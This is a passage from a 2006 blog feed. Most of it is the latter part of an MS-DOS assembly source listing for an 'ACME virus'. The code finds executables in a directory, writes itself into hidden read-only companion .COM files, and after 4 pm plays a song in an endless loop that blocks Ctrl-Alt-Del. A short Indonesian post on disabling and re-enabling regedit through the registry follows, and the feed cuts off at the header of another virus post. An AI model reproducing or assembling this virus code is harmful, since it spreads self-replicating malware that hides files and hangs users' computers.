&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      6087,0006, &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      7239,0006, 3619,0006, 4831,0006, 6087,0006&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      7670,0006, 7239,0006, 4831,0006, 3619,0006&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      6087,0006, 4063,0006, 3043,0006, 5119,0006&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      4831,0006, 6087,0006, 7239,0006, 8126,0006&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      6087,0020, &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      7670,0006, 7239,0006, 4831,0006, 3619,0006&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      3043,0006, 3619,0006, 4831,0006, 6087,0006&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      3043,0010, &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      4304,0006, 4063,0006, 4304,0006, 4063,0006,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      3043,0006, 4831,0006, 4063,0006, 3043,0006, &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      4304,0006, 4063,0006, 4304,0006, 4063,0006,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      3043,0006, 4831,0006, 4063,0006, 3043,0006, &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      4304,0006, 4063,0006, 4304,0006, 4063,0006,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      3043,0006, 5119,0006, 5423,0006, 3043,0006, &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      6087,0020, &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      7670,0006, 7239,0006, 4831,0006, 3619,0006&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      3043,0006, 3619,0006, 4831,0006, 6087,0006&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      3043,0010, &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      6087,0006, &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      7239,0006, 3619,0006, 4831,0006, 6087,0006&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      7670,0006, 7239,0006, 4831,0006, 3619,0006&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      6087,0006, 4063,0006, 3043,0006, 5119,0006&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      4831,0006, 6087,0006, 7239,0006, 8126,0006&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      6087,0020, &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        DW      0ffffh&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;My_Cmd:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;CMD_LEN         DB  13&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;FILE_CLONE      DB  12 DUP (' '), 0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;;------------------------------------------------------------------;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Prepare_command:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           cld&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    di,OFFSET FILE_CLONE&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    al,0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    cx,12&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           repne scasb          ; find the end of string \0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    al,0Dh        ; &lt;cr&gt;&lt;/cr&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           stosb                ; replace \0 with a &lt;cr&gt;&lt;/cr&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    ax,12         ;store length of the command&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           sub    ax,cx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    CMD_LEN, al&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           ret&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;;------------------------------------------------------------------;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Store_name:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    di,OFFSET FILE_FOUND   ;Point to buffer.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    si,158                 ;stow the file found in buffer&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    cx,12&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           rep movsb&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    di,OFFSET FILE_CREATE  ;Point to buffer.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    si,158&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    cx,12&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           rep movsb&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           cld&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    di,OFFSET FILE_CREATE&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    al,'.'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    cx,9&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           repne scasb                   ;find the '.'&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    si,OFFSET FILE_EXT&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    cx,3&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           rep movsb                     ;replace the .EXE with .COM&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;                         ;from buffer&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           ret&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;;------------------------------------------------------------------;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;                      ;Does the file exist?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Check_file:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    dx,OFFSET FILE_CREATE&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    cx,0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    ax,3d00h        ; Open file, read only&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           int    21h&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Chk_done:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           ret&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;;------------------------------------------------------------------;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Infect_file:                                  ;create companion routine&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;                          &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    dx,OFFSET FILE_CREATE   ;contains name of "companion"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    cx,0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    ah,3ch                  ;construct file&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           int    21h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           jc     EXIT&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;                          ;Write virus to companion file&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    bx,ax&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    cx,(OFFSET END_OF_CODE - OFFSET START) ;virus length&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    dx,OFFSET START&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    ah,40h                  ;write to file function&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           int    21h                     ;do it&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;                          ;Close file&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    ah,3eh    ; ASSUMES bx still has file handle&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           int    21h&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;                          ;Change attributes&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    dx,OFFSET FILE_CREATE   ;of created file to&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    cx,3          ;(1) read only and (2) hidden&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    ax,4301h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           int    21h&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           ret&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;;------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;; Read all the directory filenames and store as records in buffer. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;;------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Vir_begin:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov     ah,02Ch          ;DOS get time function&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           int     021h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov     al,ch            ;Copy hour into AL&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           cbw                      ;Sign-extend AL into AX&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           cmp     ax,0010h         ;Did the function return 16 (4 pm)?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           jge     TOON             ;If greater than or equal, muzik!&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    sp,offset STACK_HERE   ;move stack down&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    bx,sp&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           add    bx,15&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    cl,4&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           shr    bx,cl&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    ah,4ah                  ;deallocate rest of memory&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           int    21h&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    di,OFFSET FILE_CLONE   ;Point to buffer.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    si,OFFSET FILE_FOUND&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    cx,12&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           rep    movsb&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Read_dir:      mov    dx,OFFSET WILDCARD   ;file mask for directory search&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    cx,SEARCH_ATTRIB&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    ah,4Eh                ;find the first matching file&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           int    21h&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           jc     EXIT                   ;If empty directory, exit&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Do_file:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           call   STORE_NAME&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           call   CHECK_FILE&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           call   INFECT_FILE&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Find_next:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov   ah,4fh          ; find next file and keep finding until&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           int   21h             ; all &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           jnz   Do_File         ; infected&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Exit:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;                      ; Run the original program&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           call   Prepare_command&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    si, OFFSET MY_CMD&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           int    2Eh                 ; Pass command to command&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;                      ; interpreter for execution&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;                      &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov    ax,4C00H            ; Exit to DOS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           int    21h&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;;-------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;;This routine enables ACME virus to compel the pc to play the &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;;ACME virus song just about the time the clock-watchers are getting&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;;ready to leave&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;;-------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;TOON:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           cli                        ;interrupts off&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov     al,10110110xb      ;the number&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           out     43h,al             ;to send to the speaker&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           lea     si,MUZIK           ;point (si) to the ACME note table&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;TOON2:         cld                        &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           lodsw                    ;load word into ax and increment (si)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           cmp     ax,0ffffh        ;is it ffff? If so, end of table&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           jz      GO_MUZIK2        ;so, time to jump into endless loop&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           out     42h,al           &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           mov     al,ah            &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           out     42h,al           ;send it next&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           in      al,61h           ;get value to turn on speaker&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           or      al,00000011xb    ;OR the gotten value&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           out     61h,al           ;now we turn on speaker&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;           lodsw                    ;load the repeat loop count into (ax)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;LOOP6:  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        mov     cx,8000         ;delay count&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;LOOP7:  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        loop    LOOP7           ;do the delay&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        dec     ax              ;decrement repeat count&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        jnz     LOOP6           ;if not = 0 loop back&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        in      al,61h          ;all done&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        and     al,11111100xb   ;number turns speaker off&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        out     61h,al          ;send it&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        jmp     short TOON2     ;now go do next note&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;GO_MUZIK2:                              ;our loop point&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;    &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        sti                  ;enable interrupts&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;        jmp    TOON          ;jump back to beginning - this code&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;                     ; has the additional advantage of&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;                     ;locking out CTRL-ALT-DEL reboot.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;            ;The user must do a hard reset to recover from ACME.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;END_OF_CODE     =       $&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;STACK_HERE      EQU   END_OF_CODE + 512&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt; &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34599328-115856520208568516?l=missendare.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://missendare.blogspot.com/feeds/115856520208568516/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34599328&amp;postID=115856520208568516&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34599328/posts/default/115856520208568516'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34599328/posts/default/115856520208568516'/><link rel='alternate' type='text/html' href='http://missendare.blogspot.com/2006/09/acme-virus-asm.html' title='acme virus asm'/><author><name>Miss EndarE</name><uri>http://www.blogger.com/profile/14074827578197836263</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34599328.post-115856186911831226</id><published>2006-09-18T13:40:00.000+07:00</published><updated>2006-09-18T13:44:29.223+07:00</updated><title type='text'>disable registry editor</title><content type='html'>&lt;p style="margin-bottom: 0.49cm;" align="center"&gt;&lt;span style="color:#333399;"&gt;&lt;span style="font-family:Verdana, sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;&lt;b&gt;Disable registry editor&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-top: 0.49cm; margin-bottom: 0.49cm;"&gt;&lt;span style="font-family:Verdana, sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;Anda pernah berpikir untuk mendisable regedit ? Hal ini sangat berguna untuk mencegah orang lain mengubah setting registry komputer anda !!! Untuk melakukan itu Anda dapat mengubah seting registry seperti yang tercantum pada tabel di bawah.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;table border="1" cellpadding="1" cellspacing="3" width="584"&gt;  &lt;col width="98"&gt;  &lt;col width="471"&gt;  &lt;tbody&gt;&lt;tr&gt;   &lt;td bg valign="top" width="98" style="color:#ebebeb;"&gt;    &lt;p&gt;&lt;span style="font-family:Verdana, sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;Key&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td bg width="471" style="color:#ebebeb;"&gt;    &lt;p&gt;&lt;span style="font-family:Verdana, sans-serif;"&gt;&lt;span style="font-size: 7pt;font-size:78%;" &gt;&lt;b&gt;HKEY_CURRENT_USER\SOFTWARE\Microsoft\WindowsCurrentVersion\Policies\System&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td bg valign="top" width="98" style="color:#ebebeb;"&gt;    &lt;p&gt;&lt;span style="font-family:Verdana, sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;Value Name&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td bg width="471" style="color:#ebebeb;"&gt;    &lt;p&gt;&lt;span style="font-family:Verdana, sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;DisableRegistryTools    &lt;/span&gt;&lt;/span&gt;    &lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td bg width="98" style="color:#ebebeb;"&gt;    &lt;p&gt;&lt;span style="font-family:Verdana, sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;Data Type&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td bg width="471" style="color:#ebebeb;"&gt;    &lt;p&gt;&lt;span style="font-family:Verdana, sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;REG_DWORD (DWORD    Value) &lt;/span&gt;&lt;/span&gt;    &lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td bg width="98" style="color:#ebebeb;"&gt;    &lt;p&gt;&lt;span style="font-family:Verdana, sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;Data&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td bg width="471" style="color:#ebebeb;"&gt;    &lt;p&gt;&lt;span style="font-family:Verdana, sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;(0 = enable    regedit, 1 = disable regedit)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;p style="margin-top: 0.49cm; margin-bottom: 0.49cm;"&gt;&lt;span style="font-family:Verdana, sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;Jika Anda mengubah setting dengan benar maka saat program regedit dipanggil akan muncul pesan kesalahan seperti gambar di bawah ini:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-top: 0.49cm; margin-bottom: 0.49cm;"&gt;&lt;span style="font-family:Verdana, sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;Pasti anda bertanya, bagaimana cara mengembalikannya seperti semula? Caranya gampang, ikuti langkah-langkah di bawah ini : &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;ol&gt;&lt;li&gt;&lt;p style="margin-top: 0.49cm; margin-bottom: 0.49cm;"&gt;&lt;span style="font-family:Verdana, sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;Dengan  menggunakan Notepad, buatlah sebuah file baru. Ketikkan isi seperti  di bawah ini:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;/li&gt;&lt;/ol&gt; &lt;p style="margin-left: 1.27cm; margin-top: 0.49cm; margin-bottom: 0.49cm;"&gt; &lt;span style="font-family:Verdana, sans-serif;"&gt;&lt;span style="font-size: 7pt;font-size:78%;" &gt;REGEDIT4&lt;br /&gt;&lt;br /&gt;[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System] "DisableRegistryTools"=dword:00000000&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;ol start="2"&gt;&lt;li&gt;&lt;p style="margin-top: 0.49cm; margin-bottom: 0cm;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:Verdana, sans-serif;"&gt;Simpan  dengan sembarang nama file, tapi dengan ekstensi reg, misalnya  enable_regedit.reg.&lt;/span&gt;&lt;/span&gt;   &lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0.49cm;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:Verdana, sans-serif;"&gt;Setelah  itu klik 2x file tersebut untuk meng-enable registry editor.&lt;/span&gt;&lt;/span&gt;   &lt;/p&gt; &lt;/li&gt;&lt;/ol&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34599328-115856186911831226?l=missendare.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://missendare.blogspot.com/feeds/115856186911831226/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34599328&amp;postID=115856186911831226&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34599328/posts/default/115856186911831226'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34599328/posts/default/115856186911831226'/><link rel='alternate' type='text/html' href='http://missendare.blogspot.com/2006/09/disable-registry-editor.html' title='disable registry editor'/><author><name>Miss EndarE</name><uri>http://www.blogger.com/profile/14074827578197836263</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34599328.post-115856151443590981</id><published>2006-09-18T13:35:00.000+07:00</published><updated>2006-09-18T13:39:06.746+07:00</updated><title type='text'>Virus in Assembly Language</title><content type='html'>;                        Virus in Assembly Language&lt;br /&gt;;                        --------------------------&lt;br /&gt;&lt;br /&gt;;Most viruses out there have been written in assembly because assembly has the&lt;br /&gt;;unique ability to bypass operating system security.&lt;br /&gt;;Here is an example of a virus written under MS-DOS 2.1 and can obviously be&lt;br /&gt;;compiled in the later versions. The article contains remarks so as to further&lt;br /&gt;;explain the parts. Programmers may wish to delete those segments if desired.&lt;br /&gt;&lt;br /&gt;;**************************************************&lt;br /&gt;;   Program Virus      &lt;br /&gt;;   Version 1.1